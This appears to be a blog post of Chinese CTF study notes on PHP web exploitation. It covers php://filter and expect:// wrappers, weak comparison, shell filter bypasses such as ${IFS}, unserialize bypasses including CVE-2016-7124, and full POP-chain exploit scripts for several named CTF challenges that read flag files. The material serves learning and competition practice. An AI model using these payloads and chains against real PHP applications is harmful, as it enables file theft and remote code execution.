mapl3miss Lv1

PHP

filter伪协议

  • php://filter/过滤器(可以没有)/数据源[php://filter/read=convert.base64 encode/resource=hello.php]

![26c8067dca4fce61c798889c277dc031](C:\Users\1\Pictures\Saved Pictures\26c8067dca4fce61c798889c277dc031.png)

  • 过滤器的read/write可以没有 [ php://filter/convert.base64-encode/resource=hello.php ]

  • include(‘php://filter/resource=hello.php’) 等同于 include(‘hello.php’)

  • 文件路径应该是相对于当前工作目录或是一个绝对路径。

  • 读取文件

    //明文读取

    index.php?file1=php://filter/resource=file.txt

    //编码读取

    index.php?file1=php://filter/read=convert.base64-encode/resource=file.txt

  • 写入文件

    //明文写入

    index.php?file2=php://filter/resource=test.txt&txt=helloworld

    //编码写入

    index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=helloworld

##ROT13(otate by 13 places)也叫回转13位,是一种替换式密码。

ROT13会把每一个字母替换成13位之后的字母,也就是把a换成n,b换成o,以此类推;如果超过了26个字母的范围,就会从开头重新开始。

弱比较

php中其中两种比较符号:

==:先将字符串类型转化成相同,再比较
===:先判断两种字符串的类型是否相等,再比较

字符串和数字比较使用==时,字符串会先转换为数字类型再比较

var_dump(‘a’ == 0);//true,此时a字符串类型转化成数字,因为a字符串开头中没有找到数字,所以转换为0
var_dump(‘123a’ == 123);//true,这里’123a’会被转换为123

var_dump(‘a123’ == 123);//false,因为php中有这样一个规定:字符串的开始部分决定了它的值,如果该字符串以合法的数字开始,则使用该数字至和它连续的最后一个数字结束,否则其比较时整体值为0。
举例:
var_dump(‘123a1’ == 123);//true
var_dump(‘1233a’ == 123);//false

<、>、<=、>=都存在和==相同的弱类型

其他伪协议

  1. php://input

这个伪协议允许你访问 PHP 脚本的原始输入流。在处理 POST 请求时,你可以使用它来获取请求体中的数据。例如:

$post_data = file_get_contents(‘php://input’);
这在处理 RESTful API 请求时很有用,因为它允许你直接访问请求的原始 JSON 或其他格式的数据。

  1. php://output

php://output 是一个用于输出的流,可以将数据发送到浏览器或者服务器的输出缓冲区。比如,你可以将内容输出到客户端:

$hello = “Hello, World!”;
file_put_contents(‘php://output’, $hello);
这对于需要直接输出内容而不需要保存到文件的情况非常有用。

  1. php://stderr

php://stderr 允许你将错误消息发送到 Web 服务器的错误日志或者命令行的控制台。这在调试和记录错误时非常有用,例如:

file_put_contents(‘php://stderr’, ‘An error occurred!’);
4. ##### php://temp 和 php://memory

php://temp 和 php://memory 是两个用于创建临时数据流的伪协议。

php://temp 用于创建临时文件,适用于大型数据。
php://memory 则将数据保存在内存中,适用于小型数据。
这些伪协议在需要临时存储数据但不想在文件系统中留下痕迹时非常有用。

  1. compress.zlib:// 和 compress.bzip2://

这两个伪协议允许你读写压缩过的数据流。比如:

$compressed_data = file_get_contents(‘compress.zlib://path/to/compressed/file.gz’);
这使得处理压缩文件变得更加方便。

  1. expect://

expect:// 伪协议可以让你直接执行一个外部命令,并返回其输出。但是需要格外小心使用,因为它容易受到命令注入的攻击。

$output = file_get_contents(‘expect://ls -la’);
7. ##### glob://

glob:// 伪协议允许你像使用 glob() 函数一样列出匹配的文件。比如:

foreach (glob(‘glob://path/to/directory/*.txt’) as $file) {
echo “$file\n”;
}
这样可以方便地处理文件系统中的多个文件。

  1. phar://

phar:// 伪协议允许你像处理压缩归档文件一样处理 PHAR (PHP Archive) 文件。比如:

$phar = new Phar(‘phar://path/to/archive.phar’);
这在处理自包含的 PHP 应用程序或者库时非常有用。

data伪协议

array_search函数(遍历数组找对应值)

采用的是若比较,即==,在php中’字符串’==0是成立的

例.array_search(“DGGJ”,$c[“n”])如果n=0或数组n中有元素等于0,返回值即为1

绕过

空格=${IFS}

/=$printf(${IFS}”\57”)

字符串中间加“”没影响(cat=ca””t)

魔术方法

魔术方法 调用时机
__construct () 实例化时调用
__destrct() 销毁时调用
__call() 在对象中调用一个不可访问方法时
__callStatic() 在静态上下文中调用一个不可访问方法时
__get() 读取不可访问(protected 或 private)或不存在的属性的值时
__set() 给不可访问(protected 或 private)或不存在的属性赋值时
__isset() 对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时
__unset() 对不可访问(protected 或 private)或不存在的属性调用 unset() 时
__sleep() 执行 serialize() 时
__wakeup() 执行 unserialize() 时
__toString() 把类当成字符串时
__invoke() 把对象当成函数调用时
__debugInfo() 使用 var_dump, print_r 时
__set_state() 调用var_export()导出类时
__clone() 当对象复制完成时
__autoload() 尝试加载未定义的类

下面还有两个特殊的魔术方法__serialize() ``__unserialize()

serialize() 函数会检查类中是否存在一个魔术方法 __serialize() 。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误。

注意:

如果类中同时定义了 __serialize()__sleep() 两个魔术方法,则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。如果对象实现了 Serializable 接口,接口的 serialize() 方法会被忽略,做为代替类中的 __serialize() 方法会被调用

__serialize() 的预期用途是定义对象序列化友好的任意表示。 数组的元素可能对应对象的属性,但是这并不是必须的。

相反,unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性

注意:

如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略

注意:

此特性自 PHP 7.4.0 起可用

# 反序列化绕过

# php7.1 + 反序列化对类属性不敏感

  • private 使用:私有的类的名称 (考虑到继承的情况) 和字段名组合 \x00类名称\x00字段名
  • protected 使用: * 和字段名组合 \x00*\x00字段名

我们前面说了如果变量前是 protected,序列化结果会在变量名前加上 \x00*\x00

但在特定版本 7.1 以上则对于类属性不敏感,比如下面的例子即使没有 \x00*\x00 也依然会输出 abc

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

# 绕过__wakeup (CVE-2016-7124)

版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}

如果执行 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}'); 输出结果为 666

而把对象属性个数的值增大执行 unserialize('O:4:"test":2{s:1:"a";s:3:"abc";}'); 输出结果为 abc

# 绕过部分正则

preg_match('/^O:\d+/') 匹配序列化字符串是否是对象字符串开头,这在曾经的 CTF 中也出过类似的考点

・利用加号绕过(注意在 url 里传参时 + 要编码为 %2B)
・serialize (array (a) ) ; // a));//a));//a 为要反序列化的对象 (序列化结果开 头是 a,不影响作为数组元素的 $a 的析构)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}

function match($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

# 十六进制绕过字符匹配

可以使用十六进制搭配上已转义字符串来绕过对某些字符的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Read
{
public $name;
public function __wakeup()
{
if ($this->name == "flag")
{
echo "You did it!";
}
}
}

$str = '';
if (strpos($str, "flag") === false)
{
$obj = unserialize($str);
}
else
{
echo "You can't do it!";
}

这里检测了是否包含 flag 字符,我们可以尝试使用 flag 的十六进制 \66\6c\61\67 来绕过,构造以下:

1
'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'

可以用下面 python 脚本将字符串转化为 Hex

1
2
str = input('Enter a string: ')
print('\\' + str.encode('utf-8').hex('\\'))

# 利用‘引用’

对于需要判断两个变量是否相等时,我们可以考虑使用引用来让两个变量始终相等.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){

if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());

上面这个例子将 $b 设置为 $a 的引用,可以使 $a 永远与 $b 相等

# php 反序列化字符逃逸

# 情况一:过滤后字符过多

例如以下情形:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";

正常情况,传入 name=mao

image.png

如果此时多传入一个 x 的话会怎样,毫无疑问反序列化失败,由于溢出 (s 本来是 4 结果多了一个字符出来),我们可以利用这一点实现字符串逃逸

image.png

那我们传入 name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}

image.png

传入 name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";} 这一部分一共二十个字符
由于一个 x 会被替换为两个,我们输入了一共 20 个 x,现在是 40 个,多出来的 20 个 x 其实取代了我们的这二十个字符 ";i:1;s:6:"woaini";} ,从而造成 ";i:1;s:6:"woaini";} 的溢出,而 “ 闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出 woaini
最后的;} 闭合反序列化全过程导致原来的 ";i:1;s:7:"I am 11";}" 被舍弃,不影响反序列化过程

# 情况二:过滤后字符变少

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];

正常情况传入 name=mao&age=11 的结果

image.png

构造一下

image.png

简单来说,就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码;
我们来看,这部分是 age 序列化后的结果

s:3:“age”;s:28:“11”;s:3:“age”;s:6:“woaini”;}”

由于前面是 40 个 x 所以导致少了 20 个字符,所以需要后面来补上, ";s:3:"age";s:28:" 11 这一部分刚好 20 个,后面由于有” 闭合了前面因此后面的参数就可以由我们自定义执行了

# 利用不完整类绕过序列化回旋镖

当存在 serialize(unserialize($x)) != $x 这种很神奇的东西时,我们可以利用不完整类 __PHP_Incomplete_Class 来进行处理

当我们尝试反序列化到一个不存在的类是,PHP 会使用 __PHP_Incomplete_Class_Name 这个追加的字段来进行存储

我们于是可以尝试自己构造一个不完整类

1
2
3
4
<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true

这样就可以绕过了

更近一步,我们可以通过这个让一个对象被调用后凭空消失,只需要手动构造无 __PHP_Incomplete_Class_Name 的不完整对象

# serialize () 函数在处理 __PHP_Incomplete_Class 对象时所进行的特殊操作

unserialize () 在发现当前 PHP 上下文中没有包含相关类的类定义时将创建一个 __PHP_Incomplete_Class 对象。而 serialize () 在发现需要进行序列化的对象是 __PHP_Incomplete_Class 后,将对其进行 特殊处理 以得到描述实际对象而非 __PHP_Incomplete_Class 对象的序列化文本,而这里就包含了 将属性的描述值减一 这一步。
那么对象所属类的名称是否会发生替换,序列化文本中的 __PHP_Incomplete_Class_Name 是否会被自动删除以使得序列化文本中的属性个数描述值与实际相符呢?对此,请参考如下示例:

1
2
3
<?php

var_dump(serialize(unserialize('O:22:"__PHP_Incomplete_Class":3:{s:27:"__PHP_Incomplete_Class_Name";s:7:"MyClass";s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}')));

执行结果

1
string(69) "O:7:"MyClass":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}"

结合前面观察到的种种现象,我们可以总结出 serialize () 函数对 __PHP_Incomplete_Class 对象执行了如下 特殊操作(操作描述顺序并非 serialize 函数的实际操作顺序):

__PHP_Incomplete_Class 对象中的 属性个数减一 并将其作为序列化文本中 对实际对象属性个数的描述值。
__PHP_Incomplete_Class 对象的 __PHP_Incomplete_Class_Name 作为序列化文本中 对象所属类的描述值。若未从 __PHP_Incomplete_Class 对象 中检查到 __PHP_Incomplete_Class_Name 属性,则跳过此步。
__PHP_Incomplete_Class 对象的序列化文本中对 __PHP_Incomplete_Class_Name 属性的描述删去。若没有发现相关描述,则跳过此步。

关于 __PHP_Incomplete_Class 更详细的介绍 <PHP 反序列化漏洞:__PHP_Incomplete_Class 与 serialize (unserialize ($x)) !== $x >

# 对象注入

当用户的请求在传给反序列化函数 unserialize() 之前没有被正确的过滤时就会产生漏洞。因为 PHP 允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize 函数,最终导致一个在该应用范围内的任意 PHP 对象注入。

对象漏洞出现得满足两个前提

1、 unserialize 的参数可控。
2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

比如:

1
2
3
4
5
6
7
8
9
<?php
class A{
var $test = "y4mao";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

在脚本运行结束后便会调用 _destruct 函数,同时会覆盖 test 变量输出 maomi

# POP

# ———— 魔法函数 ———

我需要再次提出魔法函数并且需要细致的解释供我更加深刻的理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__construct() //构造函数, 在对应对象实例化时自动被调用. #子类中的构造函数不会隐式调用父类的构造函数.在 PHP 8 以前, 与类名同名的方法可以作为 __constuct 调用但 __construct 方法优先
__destruct() //对象被销毁时触发(对象不再被引用(unset),脚本执行结束)(当存在__destruct时,头一般是他)
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据(比如访问private属性或者不存在的属性的值时)或者不存在这个键($this->str['str']->source)都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发(输出一个对象、属性,将对象或属性与字符串拼接,对对象或属性进行正则匹配)
__invoke() //当尝试将对象(属性)调用为函数时触发
__debugInfo() //在使用 var_dump, print_r 时会被调用
__set_state() // 调用var_export()导出类时,此静态方法会被调用
__clone() // 当对象复制完成时调用
__autoload() // 尝试加载未定义的类

会发现,我在很多魔法函数的触发方式的解释中对象后面都加了(属性),这与 php 官方手册和其他博客文章的解释有些许不同,在查找资料时产生了很多疑惑,比如我翻阅的其中一篇博客:

5fd161f2f08ca123a0c6ccd8f4cc17cd.png

原文说此处触发了 __toString 函数,可明明只是将属性当作字符串,

再比如同一篇文章的另一处:

28258fc1d508554e89f8f7d99d3855b1.png

触发了 __invoke 函数

在与小伙伴讨论之后,认为可以将属性看作对象

在弄清楚各种魔法函数触发条件之后就要开始构建 pop 链了

# POP 链

POP 链构造首先就是要找到头和尾,也就是用户能传入参数的地方(头)和最终要执行函数方法的地方(尾)。找到头尾之后进行反推过程,从尾部开始一步步找到能触发上一步的地方,直到找到传参处,此时完整的 POP 链就显而易见了。CTF 赛中一般尾部就是 get flag 的方法,头部则是 GET/POST 传参

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct() // 1. destruct函数为pop链头
{
$this->source=$this->str;
echo $this->source; //输出变量,把类当作字符串,触发__toString
}
}
class Show
{
public $source;
public $str;
public function __toString() // 2
{
$content = $this->str['str']->source; //访问不存在的属性,触发_get
return $content;
}
}

class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){ // 3
return $this->getshell($this->params); //直接调用getshell
}
public function getshell($value) // 4
{
eval($this->params); //尾,输出
}
}
$a = $_GET['a']; //GET传参头
unserialize($a);
?>

先找链子的头和尾,头部明显是 GET 传参,尾部是 Uwant 类中的 getshell ,然后往上倒推, Uwant 类中的 __get() 中调用了 getshellShow 类中的 toString 调用了 __get() ,然后 Hello 类中的 __destruct() ,而我们 GET 传参之后会先进入 __destruct() ,这样子头和尾就连上了,所以说完整的链子就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

# 例题

# newstarctf 2023 week3 | POP Gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
 <?php
class Begin{
public $name;

public function __destruct() //对象被销毁时触发
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello"; //将对象当作字符串,可以触发__toString
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString() //把对象当作字符串时触发
{
($this->func)(); //把对象当作方法(函数),触发__invoke
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars) //调用不可访问的方法时触发
{
$this->obj->end(); //调用end函数
}

}

class Super{
protected $obj;
public function __invoke() //将对象调用为函数时触发
{
$this->obj->getStr(); //不存在getStr方法,触发__call
}

public function end() //错误的end函数
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end() // 正确的end函数
{
unset($this->handle->log); //handle->log不可访问,触发__unset
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var) //在不可访问的属性上使用unset()时触发
{
($this->func)($this->var); //可以构造执行系统命令,比如:system(ls /)
}
}

@unserialize($_POST['pop']);

由此可以构造出 POP 链子

1
Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

由于链子调用中成员属性有 private 和 protected,用 construct 方法去调用链子,最后再使用 url 编码绕过

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class Begin{
public $name;
public function __construct($a)
{
$this->name = $a;
}
}
class Then{
private $func;
public function __construct($a)
{
$this->func= $a;
}
}
class Handle{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class Super{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class CTF{
public $handle;
public function __construct($a)
{
$this->handle = $a;
}
}
class WhiteGod{
public $func;
public $var;
public function __construct($a, $b)
{
$this->func = $a;
$this->var = $b;
}
}
$a = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($a));

稍微总结一下,POP 链的头一般是 GET/POST 传参引发 __wakeup , __construct , __destruct

结尾一般是输出敏感信息或者执行系统命令所在函数,即 GetFlag 的点

# [MRCTF2020]Ezpop1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

先找出可以 getflag 的点,在 Modifier 类中 append 函数有 include 函数可以文件包含,可以利用, __invoke 函数直接调用了 append ,在 Testlei 中 __get 将 p 作为函数调用,会触发 __invoke , 在 __totring 方法中 $this->str 赋予 test 类,在 test 类读取 source 变量,(因为 test 类中没有 source 属性,则是访问了不可访问的属性)则会自动调用 __get 魔术方法, __wakeup 函数将对象进行正则匹配,会触发 __toString ,而 __wakeup 在反序列化时会调用,可以当作 pop 链头,而尾时 include 函数,可以利用 var 构造 php 为协议获取 flag

pop 链:

1
Show:__wakeup -> Show:__toString -> Test:__get -> Modifier:__invoke ->Modifier: append

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; //构造php为协议获取flag
}
class Show{
public $source;
public $str;
function _construct(){
$this->source=$file;
}
}
class Test{
public $p;
} //1.将用到的类写出形成框架并表明类的属性(变量)
$a = new show();
$b = new show();
$c = new test();
$d = new Modifier(); //将用到的类实例化,用到几次实例化几次
$a->source=$b;
$b->str=$c;
$c->p= $d; //根据pop链将对象串联起来
echo urlencode(serialize($a)); //序列化头并url编码(在这个题中有protected修饰的属性,会有不可见字符)
?>
# 2021 强网杯 赌徒
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';

public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}

public function _sayhello(){
echo $this->name;
return 'ok';
}

public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}

public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

public function __get($name){
$function = $this->a;
return $function();
}

public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}

public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}

if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}

?>

尾部可以看到 Room 类中有个 Get_hint() 方法,里面有一个 file_get_contents ,可以实现任意文件读取,我们就可以利用这个读取 flag 文件了,然后就是往前倒推, Room 类中 __invoke() 方法调用了 Get_hint() ,然后 Room 类的 __get() 里面有个 return $function() 可以调用 __invoke() ,再往前看, Info 类中的 __toString() 中有 Room 类中不存在的属性,所以可以调用 __get() ,然后 Start 类中有个 _sayhello() 可以调用 __toString() ,然后在 Start 类中 __wakeup() 方法中直接调用了 _sayhello() ,而我们知道的是,输入字符串之后就会先进入 __wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint() 
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>

在构建 pop 链时,除 __construct 函数一般不需要写出, 变量的权限与源码保持一致,在串联对象时,需要与源码的对应关系保持一致,比如: $b -> file['filename'] = $c;

  • Title:
  • Author: mapl3miss
  • Created at : 2024-10-20 19:24:23
  • Updated at : 2024-09-28 17:59:28
  • Link: https://redefine.ohevan.com/2024/10/20/PHP/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments